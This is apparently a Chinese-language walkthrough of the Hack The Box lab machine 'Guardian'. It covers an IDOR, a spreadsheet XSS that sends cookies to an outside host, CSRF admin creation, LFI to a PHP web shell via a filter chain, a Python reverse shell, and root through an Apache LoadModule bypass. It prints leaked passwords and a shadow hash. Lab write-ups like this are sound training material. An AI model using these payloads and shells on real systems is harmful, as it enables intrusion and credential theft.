基本信息
- https://app.hackthebox.com/machines/Guardian
- 10.10.11.84
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.84 |
80
需要加hosts:
1 | 10.10.11.84 guardian.htb |
教育相关的官网:
底部portal链接到子域名,同样加hosts
portal
学生门户,需要登录:
portal
portal help里可以得到默认密码:

回到主站,可以看到三个学生邮箱:
GU0142023
简单测试登录GU0142023学生账号:
chats
查看功能发现chats功能使用两个参数确定聊天双方,没有权限控制导致可以任意查看聊天记录:
在用户1和2的聊天记录中得到gitea密码:
1 | # 两个用户名 |
gitea
直接盲猜子域名就是gitea:
使用前面得到的用户名密码登录,用户名微调成邮箱格式:
1 | jamil.enockson@guardian.htb |
portal
在portal的config里可以找到数据库密码:
1 |
|
phpspreadsheet
portal的依赖里可以看到phpspreadsheet 3.7.0:
这个库可以搜到相关XSS:
- Cross-Site Scripting (XSS) vulnerability in custom properties · Advisory · PHPOffice/PhpSpreadsheet · GitHub
https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wv23-996v-q229
看描述是需要在excel里写入payload,例如在sheet name里,然后上传后会被转换为html,导致XSS
XSS to lecturer
制作包含xss payload的excel:
1 | "><img src=1 onerror=fetch("http://10.10.14.20:7777/?x="+btoa(document.cookie))> |
本地制作有长度或者字符限制,使用在线工具:
- FastGrid SpreadSheet like online MS Excel sheet | FastGrid
https://www.treegrid.com/FSheet
回到学生门户提交,之后等待触发接收到一个cookie:
1 | UEhQU0VTU0lEPWFmY2hiYTRmMHJyamswaWM0MmhxYzZrOWEz |
修改cookie后可以看到现在是一个lecturer账号:
Add admin
lecturer发公告会被admin自动查看:
admin存在创建用户功能,但会校验有效csrf token:
但csrf token校验只是检查是否在poll中,并没有删除使用过的token,所以任意一个在poll中的有效token即可:
csrf add admin
所以就是构造csrf,发布公告,添加admin:
csrf.html
1 |
|
Admin Portal
reports
继续查看admin功能,发现reports参数使用文件路径,可能存在lfi,但存在恶意字符检测:
查看代码也可以知道检测了..,以及需要指定的文件名结尾:
LFI to shell
所以通过php filter chain来执行代码,后面添加指定的文件名通过检测即可:
- GitHub - synacktiv/php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
1 | python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>' |
1 | python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>' |
打到www-data:
mysql
前面已经得到了mysql密码,这里本地连接:
1 | www-data@guardian:~/portal.guardian.htb/admin$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' |
hash crack
前面也知道hash是加了salt的,处理下格式破解出jamil.enockson密码:
1 | hash:salt |
user flag
得到的密码ssh登录jamil用户:
jamil to mark
jamil可以以mark身份运行指定脚本执行指定utils代码,而其中的status我们有写权限:
所以就是修改status代码后以mark身份执行:
1 | echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.20",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > status.py |
safeapache2ctl
mark可以sudo以root身份运行safeapache2ctl,是个elf文件,下载到本地分析
是从指定目录加载配置文件执行配置文件中指令,判断通过后由apache2ctl执行,不允许Include、IncludeOptional和LoadModule
但上面存在例外判定,即指令参数在/home/mark/confs/则被视为安全,允许执行
那么我们实际上是可以执行被禁止的指令的,包括LoadModule,从而执行任意命令
提权 & root flag
所以就是通过LoadModule来执行命令:
1 | gcc -shared -fPIC -o /home/mark/confs/miao.so /home/mark/confs/miao.c |
miao.c
1 |
|
shadow
1 | root:$y$j9T$.LTtSh52Jq1CcDWVjaIKJ/$vwOpOiforFInjhHVs99EhL8xpt.ITlODZVE/WoZaKT5:20308:0:99999:7::: |
参考资料
- Cross-Site Scripting (XSS) vulnerability in custom properties · Advisory · PHPOffice/PhpSpreadsheet · GitHub
https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wv23-996v-q229 - FastGrid SpreadSheet like online MS Excel sheet | FastGrid
https://www.treegrid.com/FSheet - GitHub - synacktiv/php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator